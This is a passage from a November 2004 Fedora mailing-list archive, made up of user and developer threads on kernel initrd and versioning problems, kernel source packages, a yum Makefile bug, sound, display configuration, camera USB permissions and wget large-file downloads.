TYL, -- Scott Dowdle, System Admin 406.254.2367 (home) From alan at redhat.com Wed Nov 10 22:59:20 2004 From: alan at redhat.com (Alan Cox) Date: Wed, 10 Nov 2004 17:59:20 -0500 Subject: DVD Ram Mounting Issue In-Reply-To: <1100118109.7649.3.camel@davidz> References: <1099676455.3768.2.camel@apple.bananas.hopto.org> <1100118109.7649.3.camel@davidz> Message-ID: <20041110225920.GA30430@devserv.devel.redhat.com> On Wed, Nov 10, 2004 at 03:21:49PM -0500, David Zeuthen wrote: > Can anyone see an issue (security etc) with doing that? For traditional > optical media it will get mounted 'ro' anyway. CD-RW erasure comes under ro v rw and SG_IO rights to go around the back of a file system. I think it all depends on your trust model for the system which goes back to stuff filed for FC4 so the user can specify that. I've no strong opinion either way but if it is changed in an update it needs good documenting and might also need a kernel detail fixing From davej at redhat.com Wed Nov 10 23:01:47 2004 From: davej at redhat.com (Dave Jones) Date: Wed, 10 Nov 2004 18:01:47 -0500 Subject: problem with kernel-2.6.9-1.1_FC2 initrd - can't recreate, but disturbing In-Reply-To: <20041110215721.GA25092@jadzia.bu.edu> References: <20041110215721.GA25092@jadzia.bu.edu> Message-ID: <20041110230147.GD8800@redhat.com> On Wed, Nov 10, 2004 at 04:57:21PM -0500, Matthew Miller wrote: > I installed kernel-2.6.9-1.2_FC2.i686.rpm from updates/testing, to see what > would happen. Standard rpm -ivh; nothing fancy. Then, I changed grub.conf to > make the new kernel the default, and rebooted. Woops; panic. Turns out the > initrd-2.6.9-1.2_FC2.img was completely empty (12k file, properly a gzipped > ext2 image, but with no content). I ran mkinitrd by hand, and it worked > fine. And then I uninstalled the kernel and reinstalled it, and this time, > the initrd image was created just fine. > > So, maybe it was a bizarre fluke. But I thought I'd mention it just in case > anyone else has similar problems.... What mkinitrd version are you running ? If its newer than the one in FC2, that would explain it. Dave From seandarcy at hotmail.com Thu Nov 11 00:08:04 2004 From: seandarcy at hotmail.com (sean darcy) Date: Wed, 10 Nov 2004 19:08:04 -0500 Subject: problem with yum Makefiles? Message-ID: If I rebuild yum-2.1.11-4 I get this error in each subdirectory: make[1]: Entering directory `/usr/src/redhat/BUILD/yum-2.1.11/repomd' mkdir -p /var/tmp/yum-root//usr/lib/python2.4/site-packages/repomd for p in __init__.py mdErrors.py mdUtils.py packageObject.py packageSack.py repoMDObject.py test.py ; do \ install -m 644 $p /var/tmp/yum-root//usr/lib/python2.4/site-packages/repomd/$p; \ done c "import compileall; compileall.compile_dir('/var/tmp/yum-root//usr/lib/python2.4/site-packages/repomd', 1, '', 1)" /bin/sh: c: command not found make[1]: [install] Error 127 (ignored) I think this is because PYTHON is not defined in these Makefiles: PACKAGE = $(shell basename `pwd`) PYFILES = $(wildcard *.py) PYVER := $(shell python -c 'import sys; print "%.3s" %(sys.version)') PYSYSDIR := $(shell python -c 'import sys; print sys.prefix') PYLIBDIR = $(PYSYSDIR)/lib/python$(PYVER) PKGDIR = $(PYLIBDIR)/site-packages/$(PACKAGE) all: echo "Nothing to do" clean: rm -f *.pyc *.pyo *~ install: mkdir -p $(DESTDIR)/$(PKGDIR) for p in $(PYFILES) ; do \ install -m 644 $$p $(DESTDIR)/$(PKGDIR)/$$p; \ done $(PYTHON) -c "import compileall; compileall.compile_dir('$(DESTDIR)/$(PKGDIR)', 1, '$(PYDIR)', 1)" Adding PYTHON=python seems to do the trick. Or this some odd fall-out from installing python-2.4? FWIW, this does NOT fix the HTTPResponse AttributeError. sean From bednar007 at gmail.com Thu Nov 11 00:09:53 2004 From: bednar007 at gmail.com (Darek Borkowski) Date: Thu, 11 Nov 2004 01:09:53 +0100 Subject: Still no sound from intel 852 Message-ID: <38f00b2a0411101609463a9bb4@mail.gmail.com> Hi, suggestion given on the list does not help. Still no sound. Playvawe output is: ALSA lib pcm_hw.c:521:(snd_pcm_hw_prepare) SNDRV_PCM_IOCTL_PREPARE failed: Device or resource busy ALSA lib pcm_hw.c:521:(snd_pcm_hw_prepare) SNDRV_PCM_IOCTL_PREPARE failed: Device or resource busy ALSA lib pcm_hw.c:521:(snd_pcm_hw_prepare) SNDRV_PCM_IOCTL_PREPARE failed: Device or resource busy Look at strace output at bug # 136082. There are several select(.....) timeouts related to previous ioctl. Some device is unavailable but which and why? I don't understand more. Somebody can fix it? Darek Borkowski From mattdm at mattdm.org Thu Nov 11 00:35:21 2004 From: mattdm at mattdm.org (Matthew Miller) Date: Wed, 10 Nov 2004 19:35:21 -0500 Subject: problem with kernel-2.6.9-1.1_FC2 initrd - can't recreate, but disturbing In-Reply-To: <20041110230147.GD8800@redhat.com> References: <20041110215721.GA25092@jadzia.bu.edu> <20041110230147.GD8800@redhat.com> Message-ID: <20041111003521.GA31268@jadzia.bu.edu> On Wed, Nov 10, 2004 at 06:01:47PM -0500, Dave Jones wrote: > What mkinitrd version are you running ? If its newer than the one > in FC2, that would explain it. Hmmm, no -- It's mkinitrd-3.5.22-1. There's a tiny patch to new-kernel-pkg, but it's entirely cosmetic -- changes the default 'title'. And that part seemed to work; I don't _think_ I broke anything with that. On the other hand, I'm breaking things all the time. :) -- Matthew Miller mattdm at mattdm.org Boston University Linux ------> From fedora at andrewfarris.com Thu Nov 11 00:46:58 2004 From: fedora at andrewfarris.com (Andrew Farris) Date: Wed, 10 Nov 2004 16:46:58 -0800 Subject: Where O where has my Kernel source gone. In-Reply-To: <200411102049.iAAKncUJ009317@bach.leonora.org> References: <200411102049.iAAKncUJ009317@bach.leonora.org> Message-ID: <1100134018.9400.75.camel@andrewfarris.dev> On Wed, 2004-11-10 at 12:49 -0800, Vladimir G. Ivanovic wrote: > >>>>> "af" == Andrew Farris writes: > > af> That, along with setting one little boolean 0 to a 1 in the kernel > af> specfile will give you the source code if you really need it. For most > af> external drivers, you don't. > > Exactly what does setting "%define buildsource 1" get you? I didn't do > this and I found a source tree in /usr/src/redhat/BUILD after > executing: > > rpm -ivh kernel-$(uname -r).src.rpm > cd `rpm --eval "%_topdir"` > rpmbuild -bb --target=noarch SPECS/kernel-2.6.spec > > This source tree can easily be moved to /usr/src. Then it looks > exactly like the kernel-sourcecode RPMs did. Correct, but you do not have the 'kernel-sourcecode' rpm installed, and if the purpose of building the source was to satisfy broken RPMs which required the sourcecode RPM this would not suffice. If you simply wanted the sources your method works fine except that the source tree is not prepared for your arch yet and it might be expected to be (nvidia's installer). To get the sources prepared all you need is rpmbuild -bp and then move the tree as you did (this should make prepare with the correct .config). -- Andrew Farris (lordmorgul) - CPE student, Cal Poly SLO, pgp keyid 4430F405 pgp.mit.edu "..the triumph of evil is for good men to do nothing." (Edmond Burke) From davej at redhat.com Thu Nov 11 00:54:30 2004 From: davej at redhat.com (Dave Jones) Date: Wed, 10 Nov 2004 19:54:30 -0500 Subject: problem with kernel-2.6.9-1.1_FC2 initrd - can't recreate, but disturbing In-Reply-To: <20041111003521.GA31268@jadzia.bu.edu> References: <20041110215721.GA25092@jadzia.bu.edu> <20041110230147.GD8800@redhat.com> <20041111003521.GA31268@jadzia.bu.edu> Message-ID: <20041111005430.GB25288@redhat.com> On Wed, Nov 10, 2004 at 07:35:21PM -0500, Matthew Miller wrote: > On Wed, Nov 10, 2004 at 06:01:47PM -0500, Dave Jones wrote: > > What mkinitrd version are you running ? If its newer than the one > > in FC2, that would explain it. > > Hmmm, no -- It's mkinitrd-3.5.22-1. There's a tiny patch to new-kernel-pkg, > but it's entirely cosmetic -- changes the default 'title'. And that part > seemed to work; I don't _think_ I broke anything with that. On the other > hand, I'm breaking things all the time. :) I screwed up the mkinitrd changes in -1.1_FC2, but since I fixed that in -1.2_FC2, yours is the only report I've had so far of something being amiss. Is anyone else seeing anything similar ? Dave From perbj at stanford.edu Thu Nov 11 01:06:15 2004 From: perbj at stanford.edu (Per Bjornsson) Date: Wed, 10 Nov 2004 17:06:15 -0800 Subject: problem with kernel-2.6.9-1.1_FC2 initrd - can't recreate, but disturbing In-Reply-To: <20041111005430.GB25288@redhat.com> References: <20041110215721.GA25092@jadzia.bu.edu> <20041110230147.GD8800@redhat.com> <20041111003521.GA31268@jadzia.bu.edu> <20041111005430.GB25288@redhat.com> Message-ID: <1100135175.4552.15.camel@localhost.localdomain> On Wed, 2004-11-10 at 19:54 -0500, Dave Jones wrote: > I screwed up the mkinitrd changes in -1.1_FC2, but since I fixed that > in -1.2_FC2, yours is the only report I've had so far of something > being amiss. Is anyone else seeing anything similar ? No, the -1.2_FC2 kernel worked fine for me in any case (although I just upgraded the box that was running it to FC3 instead.) As far as I can tell, there really shouldn't be any interactions caused by having the earlier broken kernel package installed, should there? /Per -- Per Bjornsson From davej at redhat.com Thu Nov 11 01:21:17 2004 From: davej at redhat.com (Dave Jones) Date: Wed, 10 Nov 2004 20:21:17 -0500 Subject: problem with kernel-2.6.9-1.1_FC2 initrd - can't recreate, but disturbing In-Reply-To: <1100135175.4552.15.camel@localhost.localdomain> References: <20041110215721.GA25092@jadzia.bu.edu> <20041110230147.GD8800@redhat.com> <20041111003521.GA31268@jadzia.bu.edu> <20041111005430.GB25288@redhat.com> <1100135175.4552.15.camel@localhost.localdomain> Message-ID: <20041111012117.GC25288@redhat.com> On Wed, Nov 10, 2004 at 05:06:15PM -0800, Per Bjornsson wrote: > No, the -1.2_FC2 kernel worked fine for me in any case (although I just > upgraded the box that was running it to FC3 instead.) > > As far as I can tell, there really shouldn't be any interactions caused > by having the earlier broken kernel package installed, should there? nope. Dave From fct-cornette at insight.rr.com Thu Nov 11 01:53:46 2004 From: fct-cornette at insight.rr.com (Jim Cornette) Date: Wed, 10 Nov 2004 20:53:46 -0500 Subject: FC3 - wrong screen resolution In-Reply-To: <41926858.80506@broadpark.no> References: <41912D99.7040809@broadpark.no> <4191763E.3010604@insight.rr.com> <41924789.8050401@broadpark.no> <41926858.80506@broadpark.no> Message-ID: <4192C62A.1070106@insight.rr.com> > I found that when hittin ctrl-C after the system hangs it actually > continues to boot and gives me a command line. > > The problem is that system settings - display did not update my > xorg.conf file correctly. The driver name for the video card was not > replaced with the corect one but ended up as mix of "Vesa" and "S3Trio3D" This has to be edited as root. I like to use mc. (midnight commander). All you need to do as root is the below. - Start mc - navigate to the /etc/X11/ directory. - highlight the xorg.conf file - press the F4 key to edit the file - scroll down to where the vesa and S3Trio3D entries are located. - remove the vesa entry - press F2 to save the file - alt-Fn to a terminal (2 - 4) - log in as a regular user - type startx in the terminal and X should start (or at least attempt to start) Don't launch X as a root user - if it gets "hungry", it will eat your filesystem. If editing the file does not work, it might be possible to run system-config-display --reconfig and see if you have any luck with s-c-display doing the right thing this time. Since you know the desired card, you can select this under the hardware and display settings tab, if X will start. I wouldn't attempt to do a clean install because of one file setting. Jim > > I tried to correct this using vi but am not able to open the file in > edit modus. I'm told it is a read only file. > > Any suggestions? > > Truls From cra at WPI.EDU Thu Nov 11 02:44:15 2004 From: cra at WPI.EDU (Charles R. Anderson) Date: Wed, 10 Nov 2004 21:44:15 -0500 Subject: Where O where has my Kernel source gone. In-Reply-To: <1100134018.9400.75.camel@andrewfarris.dev> References: <200411102049.iAAKncUJ009317@bach.leonora.org> <1100134018.9400.75.camel@andrewfarris.dev> Message-ID: <20041111024415.GA16763@angus.ind.WPI.EDU> On Wed, Nov 10, 2004 at 04:46:58PM -0800, Andrew Farris wrote: > not prepared for your arch yet and it might be expected to be (nvidia's > installer). To get the sources prepared all you need is rpmbuild -bp > and then move the tree as you did (this should make prepare with the > correct .config). Kernel modules should *not* be using /usr/src/linux or kernel-sourcecode for compiling against. They are broken if they need it. From byte at aeon.com.my Thu Nov 11 00:01:06 2004 From: byte at aeon.com.my (Colin Charles) Date: Thu, 11 Nov 2004 11:01:06 +1100 Subject: Features for FC4 In-Reply-To: <20041110200501.GA28311@devserv.devel.redhat.com> References: <1100112479.3955.62.camel@marius.asheville.interact> <20041110200501.GA28311@devserv.devel.redhat.com> Message-ID: <1100131267.3715.1.camel@hermione.soho.bytebot.net> On Wed, 2004-11-10 at 15:05 -0500, Alan Cox wrote: > > I know it's probably a bit early, but does anyone have a comprehensive > > set of features/ideas for FC4? So far FC3 is by far the best distro out > > there, but surely there's been some thought to what's next. Plus, I'd > > love to help out with it in any way I can, but time prohibits real > > development, is there any need for documentation? > > You might want to talk to Colin Charles if that is an interest > > See: http://www.iosn.net/training/end-user-manual/ The FC3 book is almost out, and will be GNU FDL'ed, so there will be documentation http://www.lulu.com/ Sells boxed sets, along with the book for Fedora Core 3, Made Simple. Not a comprehensive manual, but that is something that we would all love to have in due time fedora-docs-list at redhat.com is another useful place to hang out -- Colin Charles, byte at aeon.com.my http://www.bytebot.net/ "First they ignore you, then they laugh at you, then they fight you, then you win." -- Mohandas Gandhi From kerplop at sbcglobal.net Thu Nov 11 03:43:27 2004 From: kerplop at sbcglobal.net (Robert) Date: Wed, 10 Nov 2004 21:43:27 -0600 Subject: The new file selector and hidden files In-Reply-To: <1080301625.7355.82.camel@localhost.localdomain> References: <1080301625.7355.82.camel@localhost.localdomain> Message-ID: <4192DFDF.9090402@sbcglobal.net> Maynard Kuona wrote: > How do I get the new file selector to show hidden files, or at least to > open them. > > Was this ever answered? I have been beating myself up for a couple hours, trying to fall into the secret after finding no answers on this list. Having to open a terminal, do an ls -a, copy a file name and paste it into the mozilla or konqueror or whatever open dialogue box is beyond unacceptable. Is there a global option lurking about somewhere? FC3 Final, KDE 3.3.0-5 Red Hat From MSchwartz at MedAnalytics.com Thu Nov 11 03:59:06 2004 From: MSchwartz at MedAnalytics.com (Marc Schwartz) Date: Wed, 10 Nov 2004 21:59:06 -0600 Subject: The new file selector and hidden files In-Reply-To: <4192DFDF.9090402@sbcglobal.net> References: <1080301625.7355.82.camel@localhost.localdomain> <4192DFDF.9090402@sbcglobal.net> Message-ID: <1100145546.3528.23.camel@horizons.localdomain> On Wed, 2004-11-10 at 21:43 -0600, Robert wrote: > Maynard Kuona wrote: > > How do I get the new file selector to show hidden files, or at least to > > open them. > > > > > Was this ever answered? I have been beating myself up for a couple > hours, trying to fall into the secret after finding no answers on this > list. Having to open a terminal, do an ls -a, copy a file name and paste > it into the mozilla or konqueror or whatever open dialogue box is beyond > unacceptable. Is there a global option lurking about somewhere? > > FC3 Final, KDE 3.3.0-5 Red Hat Right click in the right hand folder listing window. You will get a menu item to display the hidden files. Click it. HTH, Marc Schwartz From kerplop at sbcglobal.net Thu Nov 11 04:27:28 2004 From: kerplop at sbcglobal.net (Robert) Date: Wed, 10 Nov 2004 22:27:28 -0600 Subject: The new file selector and hidden files In-Reply-To: <1100145546.3528.23.camel@horizons.localdomain> References: <1080301625.7355.82.camel@localhost.localdomain> <4192DFDF.9090402@sbcglobal.net> <1100145546.3528.23.camel@horizons.localdomain> Message-ID: Marc Schwartz wrote: > On Wed, 2004-11-10 at 21:43 -0600, Robert wrote: > >>Maynard Kuona wrote: >> >>>How do I get the new file selector to show hidden files, or at least to >>>open them. >>> >>> >> >>Was this ever answered? I have been beating myself up for a couple >>hours, trying to fall into the secret after finding no answers on this >>list. Having to open a terminal, do an ls -a, copy a file name and paste >>it into the mozilla or konqueror or whatever open dialogue box is beyond >>unacceptable. Is there a global option lurking about somewhere? >> >>FC3 Final, KDE 3.3.0-5 Red Hat > > > > Right click in the right hand folder listing window. You will get a menu > item to display the hidden files. Click it. > > HTH, > > Marc Schwartz > > Thanks, Marc. I knew it was simple. Seems that the really elusive ones always are. From alan at clueserver.org Thu Nov 11 03:57:49 2004 From: alan at clueserver.org (alan) Date: Wed, 10 Nov 2004 19:57:49 -0800 (PST) Subject: Where O where has my Kernel source gone. In-Reply-To: <20041111024415.GA16763@angus.ind.WPI.EDU> Message-ID: On Wed, 10 Nov 2004, Charles R. Anderson wrote: > On Wed, Nov 10, 2004 at 04:46:58PM -0800, Andrew Farris wrote: > > not prepared for your arch yet and it might be expected to be (nvidia's > > installer). To get the sources prepared all you need is rpmbuild -bp > > and then move the tree as you did (this should make prepare with the > > correct .config). > > Kernel modules should *not* be using /usr/src/linux or > kernel-sourcecode for compiling against. They are broken if they need > it. BTW, yes they are bjorken. Yes, there are still modules that act like that. But what if it is a kernel module included with the kernel and not built? (Like ntfs.) Sometimes you need the source. The excuse has been that there is just not enough space on the distro discs. That will always be a problem. There will always be more and more stuff to put into the distro. When we have uber-mega-terabyte distro discs, we will still be bitching about not having enough space for something. That is why we have multi-disc installs. -- Q: Why do programmers confuse Halloween and Christmas? A: Because OCT 31 == DEC 25. From mattdm at mattdm.org Thu Nov 11 04:56:49 2004 From: mattdm at mattdm.org (Matthew Miller) Date: Wed, 10 Nov 2004 23:56:49 -0500 Subject: problem with kernel-2.6.9-1.1_FC2 initrd - can't recreate, but disturbing In-Reply-To: <20041111005430.GB25288@redhat.com> References: <20041110215721.GA25092@jadzia.bu.edu> <20041110230147.GD8800@redhat.com> <20041111003521.GA31268@jadzia.bu.edu> <20041111005430.GB25288@redhat.com> Message-ID: <20041111045649.GA7281@jadzia.bu.edu> On Wed, Nov 10, 2004 at 07:54:30PM -0500, Dave Jones wrote: > I screwed up the mkinitrd changes in -1.1_FC2, but since I fixed that > in -1.2_FC2, yours is the only report I've had so far of something > being amiss. Is anyone else seeing anything similar ? I tried it on another of my systems, and it worked fine. And like I said, I can't recreate it on the original system. Very strange. -- Matthew Miller mattdm at mattdm.org Boston University Linux ------> From mattdm at mattdm.org Thu Nov 11 04:58:31 2004 From: mattdm at mattdm.org (Matthew Miller) Date: Wed, 10 Nov 2004 23:58:31 -0500 Subject: Where O where has my Kernel source gone. In-Reply-To: References: <20041111024415.GA16763@angus.ind.WPI.EDU> Message-ID: <20041111045831.GB7281@jadzia.bu.edu> On Wed, Nov 10, 2004 at 07:57:49PM -0800, alan wrote: > But what if it is a kernel module included with the kernel and not built? > (Like ntfs.) > Sometimes you need the source. Sure. Having the source is what this whole thing is about. And that's why you have the src.rpm for _everything_ in Fedora -- including but not limited to the kernel. -- Matthew Miller mattdm at mattdm.org Boston University Linux ------> From davej at redhat.com Thu Nov 11 05:05:49 2004 From: davej at redhat.com (Dave Jones) Date: Thu, 11 Nov 2004 00:05:49 -0500 Subject: problem with kernel-2.6.9-1.1_FC2 initrd - can't recreate, but disturbing In-Reply-To: <20041111045649.GA7281@jadzia.bu.edu> References: <20041110215721.GA25092@jadzia.bu.edu> <20041110230147.GD8800@redhat.com> <20041111003521.GA31268@jadzia.bu.edu> <20041111005430.GB25288@redhat.com> <20041111045649.GA7281@jadzia.bu.edu> Message-ID: <20041111050549.GA25545@redhat.com> On Wed, Nov 10, 2004 at 11:56:49PM -0500, Matthew Miller wrote: > On Wed, Nov 10, 2004 at 07:54:30PM -0500, Dave Jones wrote: > > I screwed up the mkinitrd changes in -1.1_FC2, but since I fixed that > > in -1.2_FC2, yours is the only report I've had so far of something > > being amiss. Is anyone else seeing anything similar ? > > I tried it on another of my systems, and it worked fine. And like I said, I > can't recreate it on the original system. Very strange. Very strange indeed. Unless something terrible turns up in the next 24 hrs, I'll likely push 1.2 to updates proper. Dave From mattdm at mattdm.org Thu Nov 11 05:24:28 2004 From: mattdm at mattdm.org (Matthew Miller) Date: Thu, 11 Nov 2004 00:24:28 -0500 Subject: problem with kernel-2.6.9-1.1_FC2 initrd - can't recreate, but disturbing In-Reply-To: <20041111050549.GA25545@redhat.com> References: <20041110215721.GA25092@jadzia.bu.edu> <20041110230147.GD8800@redhat.com> <20041111003521.GA31268@jadzia.bu.edu> <20041111005430.GB25288@redhat.com> <20041111045649.GA7281@jadzia.bu.edu> <20041111050549.GA25545@redhat.com> Message-ID: <20041111052427.GA8207@jadzia.bu.edu> On Thu, Nov 11, 2004 at 12:05:49AM -0500, Dave Jones wrote: > Very strange indeed. Unless something terrible turns up in the next > 24 hrs, I'll likely push 1.2 to updates proper. Works fine on another test system too. *sigh* -- nothing worse than irreproducible results. What about ? Oh, and also, is that underscore in the package release just a temporary testing thing? I hope so, 'cause it's really ugly. :) In any case, thanks for putting together an FC2 update; I know FC3/RHEL4 is where all the fun is. :) -- Matthew Miller mattdm at mattdm.org Boston University Linux ------> From davej at redhat.com Thu Nov 11 05:34:44 2004 From: davej at redhat.com (Dave Jones) Date: Thu, 11 Nov 2004 00:34:44 -0500 Subject: problem with kernel-2.6.9-1.1_FC2 initrd - can't recreate, but disturbing In-Reply-To: <20041111052427.GA8207@jadzia.bu.edu> References: <20041110215721.GA25092@jadzia.bu.edu> <20041110230147.GD8800@redhat.com> <20041111003521.GA31268@jadzia.bu.edu> <20041111005430.GB25288@redhat.com> <20041111045649.GA7281@jadzia.bu.edu> <20041111050549.GA25545@redhat.com> <20041111052427.GA8207@jadzia.bu.edu> Message-ID: <20041111053444.GB25545@redhat.com> On Thu, Nov 11, 2004 at 12:24:28AM -0500, Matthew Miller wrote: > Works fine on another test system too. *sigh* -- nothing worse than > irreproducible results. > > What about ? that's on my list for tomorrows fun. *sigh*. > Oh, and also, is that underscore in the package release just a temporary > testing thing? I hope so, 'cause it's really ugly. :) Without it, theres no way to distinguish a 2.6.9-1.1 for FC2 from a 2.6.9-1.1 from FC3 development (extreme example used, but you get the idea). I still occasionally see folks filing bugs against _ancient_ kernels, so its feasible that it could come from either. The alternative would've been something like 2.6.9-1.1.1 > In any case, thanks for putting together an FC2 update; I know FC3/RHEL4 is > where all the fun is. :) Well, my plan is to have all three currently kernels that I'm still actively responsible for on at least roughly the same footing so that they all get to benefit from the wider testing, and also sharing fixes from other streams. Dave From mattdm at mattdm.org Thu Nov 11 06:04:42 2004 From: mattdm at mattdm.org (Matthew Miller) Date: Thu, 11 Nov 2004 01:04:42 -0500 Subject: problem with kernel-2.6.9-1.1_FC2 initrd - can't recreate, but disturbing In-Reply-To: <20041111053444.GB25545@redhat.com> References: <20041110215721.GA25092@jadzia.bu.edu> <20041110230147.GD8800@redhat.com> <20041111003521.GA31268@jadzia.bu.edu> <20041111005430.GB25288@redhat.com> <20041111045649.GA7281@jadzia.bu.edu> <20041111050549.GA25545@redhat.com> <20041111052427.GA8207@jadzia.bu.edu> <20041111053444.GB25545@redhat.com> Message-ID: <20041111060442.GA9576@jadzia.bu.edu> On Thu, Nov 11, 2004 at 12:34:44AM -0500, Dave Jones wrote: > > Works fine on another test system too. *sigh* -- nothing worse than > > irreproducible results. > > What about ? > that's on my list for tomorrows fun. *sigh*. :) > > Oh, and also, is that underscore in the package release just a temporary > > testing thing? I hope so, 'cause it's really ugly. :) > Without it, theres no way to distinguish a 2.6.9-1.1 for FC2 from > a 2.6.9-1.1 from FC3 development (extreme example used, but you get the > idea). I still occasionally see folks filing bugs against _ancient_ > kernels, so its feasible that it could come from either. > The alternative would've been something like 2.6.9-1.1.1 I kinda prefer the alternative. Or something like "kernel-2.6.9-1.2.FC2.src.rpm" like a lot of the other Fedora updates. I'm afraid the underscore is going to break something somewhere. I guess it's not a big deal. :) -- Matthew Miller mattdm at mattdm.org Boston University Linux ------> From arjanv at redhat.com Thu Nov 11 08:07:39 2004 From: arjanv at redhat.com (Arjan van de Ven) Date: Thu, 11 Nov 2004 09:07:39 +0100 Subject: FC3 does not boot with an own vanilla kernel In-Reply-To: <4192883E.8070608@adtran.com> References: <1100119661.4084.27.camel@laptop.fenrus.org> <4192883E.8070608@adtran.com> Message-ID: <1100160459.2646.12.camel@laptop.fenrus.org> On Wed, 2004-11-10 at 15:29 -0600, RON FLORY wrote: > title Test (2.6.9) > root (hd0,1) > kernel /vmlinuz-2.6.9 ro root=/dev/hda4 rhgb > initrd /initrd-2.6.9.img > > except, substituting 'root=LABEL=/' for 'root=LABEL=/' keeps > the bootloader from finding an initrd. As it is now, it just can't > find a console ;) odd.. makes me wonder if you disabled initrd support in the kernel config... Do you see the nash banner printed at all on the screen ? (which is about the first thing the initrd will do) -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From mike at bristolreccc.co.uk Thu Nov 11 10:45:43 2004 From: mike at bristolreccc.co.uk (mike) Date: Thu, 11 Nov 2004 10:45:43 +0000 Subject: gtkam missing - perms prob In-Reply-To: <41925DB2.6050208@gmx.de> References: <1100081370.25905.2.camel@datacc> <1100090133.3546.5.camel@home.gnome.no> <1100095082.2393.6.camel@localhost.localdomain> <604aa7910411100617340e2af@mail.gmail.com> <1100109309.3950.2.camel@datacc> <41925DB2.6050208@gmx.de> Message-ID: <1100169943.7740.0.camel@datacc> On Wed, 2004-11-10 at 19:28 +0100, shrek-m at gmx.de wrote: > mike wrote: > > >On Wed, 2004-11-10 at 09:17 -0500, Jeff Spaleta wrote: > > > > > >>On Wed, 10 Nov 2004 08:58:02 -0500, Temlakos wrote: > >> > >> > >>>I see! Or, I think I see. Now why didn't the release notes specifically > >>>*say* that gthumb performs all the functions of the old gtkam? (Does > >>>gthumb have a plug-in for gimp?) > >>> > >>> > > > >after testing gthumb it fails as a user with > >*** Error *** > >An error occurred in the io-library ('Could not claim the USB device'): > >Could not claim interface 0 (Operation not permitted). Make sure no > >other program or kernel module (such as sdc2xx, stv680, spca50x) is > >using the device and you have read/write access to the device. > >*** Error (-53: 'Could not claim the USB device') *** > > > > > > plugin the camera > > 1. window: cancel (if i select here "import" i get the same > error-message) > 2. window: import (once again) > gThumb has the usb-device and the photos > > works here as user > $ /sbin/lsusb | grep Olympus > Bus 002 Device 005: ID 07b4:0105 Olympus Optical Co., Ltd Camedia > C-700/C-3040/C-4000 Zoom Camera > I get the same output ie: /sbin/lsusb Bus 004 Device 001: ID 0000:0000 Bus 003 Device 002: ID 03f0:0011 Hewlett-Packard Bus 003 Device 001: ID 0000:0000 Bus 002 Device 008: ID 1132:4334 Toshiba Corp., Digital Media Equipment [hex] Bus 002 Device 001: ID 0000:0000 Bus 001 Device 001: ID 0000:0000 but still no joy > -- > shrek-m > From tim at birdsnest.maths.tcd.ie Thu Nov 11 00:14:23 2004 From: tim at birdsnest.maths.tcd.ie (Timothy Murphy) Date: Thu, 11 Nov 2004 00:14:23 +0000 Subject: FC3 does not boot with an own vanilla kernel In-Reply-To: <1100115731.9579.19.camel@hostmaster.org> References: <1100098374.4490.13.camel@sunny.rhrk.uni-kl.de> <1100115731.9579.19.camel@hostmaster.org> Message-ID: <200411110014.24618.tim@birdsnest.maths.tcd.ie> On Wednesday 10 November 2004 19:42, Thomas Zehetbauer wrote: > I hit the same problem when updating from dev to udev the first time, > just run /sbin/udevstart to create the necessary /dev entries before you > reboot. You will likely need to umount /dev if you boot an FC kernel > though. I didn't understand this. What exactly do you mean by the last sentence? What command do you give, and when? -- Timothy Murphy e-mail (<80k only): tim /at/ birdsnest.maths.tcd.ie tel: +353-86-2336090, +353-1-2842366 s-mail: School of Mathematics, Trinity College, Dublin 2, Ireland From drkludge at cox.net Thu Nov 11 11:20:25 2004 From: drkludge at cox.net (Greg Morgan) Date: Thu, 11 Nov 2004 04:20:25 -0700 Subject: wget problem or me In-Reply-To: <20041110150703.4668967a.robn@verdi.et.tudelft.nl> References: <4192127C.8000809@cox.net> <20041110150703.4668967a.robn@verdi.et.tudelft.nl> Message-ID: <41934AF9.8090001@cox.net> Rob van Nieuwkerk wrote: > On Wed, 10 Nov 2004 06:07:08 -0700 > Greg Morgan wrote: > > >>I saw the announcement of wget Karsten Hopp on the Announcement list. >>..."This new release of wget adds support for large files >2Gb, p.e. DVD >>ISOs."... I was trying to ftp the DVD ISO file. The ftp transfer was >>hung. It may have been killed by the ftp server. I had to kill the ftp >>transfer. I downloaded the wget rpm and used rpm -Fvh to install it on >>FC2. wget -V reports >>wget -V >>GNU Wget 1.9+cvs-stable (Red Hat modified) >>.... >>I used wget -c >>ftp://mirrors.kernel.org/fedora/core/3/i386/iso/FC3-i386-DVD.iso last >>night before going to bed. I woke up to >>87% [+++++++++++++++++++++========> ] 2,147,476,904 12.92K/s ETA >>4:08:22File size limit exceeded > > >>The complete trace of the session follows. I am leaving for work. >>Please let me know if I need to buzilla this because it is not pilot error. > > > Hi Greg, > > Please wait with bugzilla: I suspect it is a problem on your side. > > Can you please give the output of the following commands: > > 1. "rpm -q fedora-release" > fedora-release-2-4 It was an upgrade from cleanly installed FC1. > 2. "uname -a" > Linux kids.bipolardesign.com 2.6.6-1.427 #1 Thu Jun 10 09:33:46 EDT 2004 i686 athlon i386 GNU/Linux > 3. "rpm -qi wget" > Name : wget Relocations: (not relocatable) Version : 1.9.1 Vendor: Red Hat, Inc. Release : 16.fc2 Build Date: Wed 27 Oct 2004 01:28:52 PM MST Install Date: Tue 09 Nov 2004 06:56:09 PM MST Build Host: tweety.build.redhat.com Group : Applications/Internet Source RPM: wget-1.9.1-16.fc2.src.rpm Size : 1174505 License: GPL Signature : DSA/SHA1, Thu 04 Nov 2004 10:33:37 AM MST, Key ID b44269d04f2a6fd2Packager : Red Hat, Inc. URL : http://wget.sunsite.dk/ Summary : A utility for retrieving files using the HTTP or FTP protocols. Description : GNU Wget is a file retrieval utility which can use either the HTTP or FTP protocols. Wget features include the ability to work in the background while you are logged out, recursive retrieval of directories, file name wildcard matching, remote file timestamp storage and comparison, use of Rest with FTP servers and Range with HTTP servers to retrieve files over slow or unstable connections, support for Proxy servers, and configurability. > 4. "df ." (in the working dir) > Filesystem 1K-blocks Used Available Use% Mounted on baloo:/home/fdrive 183800916 47490516 126973828 28% /home/fdrive > 5. "mount" > /dev/hda5 on / type ext3 (rw) none on /proc type proc (rw) none on /dev/pts type devpts (rw,gid=5,mode=620) usbdevfs on /proc/bus/usb type usbdevfs (rw) /dev/hda2 on /boot type ext3 (rw) /dev/hda1 on /me type vfat (rw) none on /dev/shm type tmpfs (rw) /dev/hda7 on /tmp type ext3 (rw) /dev/hda3 on /var type ext3 (rw) sunrpc on /var/lib/nfs/rpc_pipefs type rpc_pipefs (rw) baloo:/home/ddrive on /home/ddrive type nfs 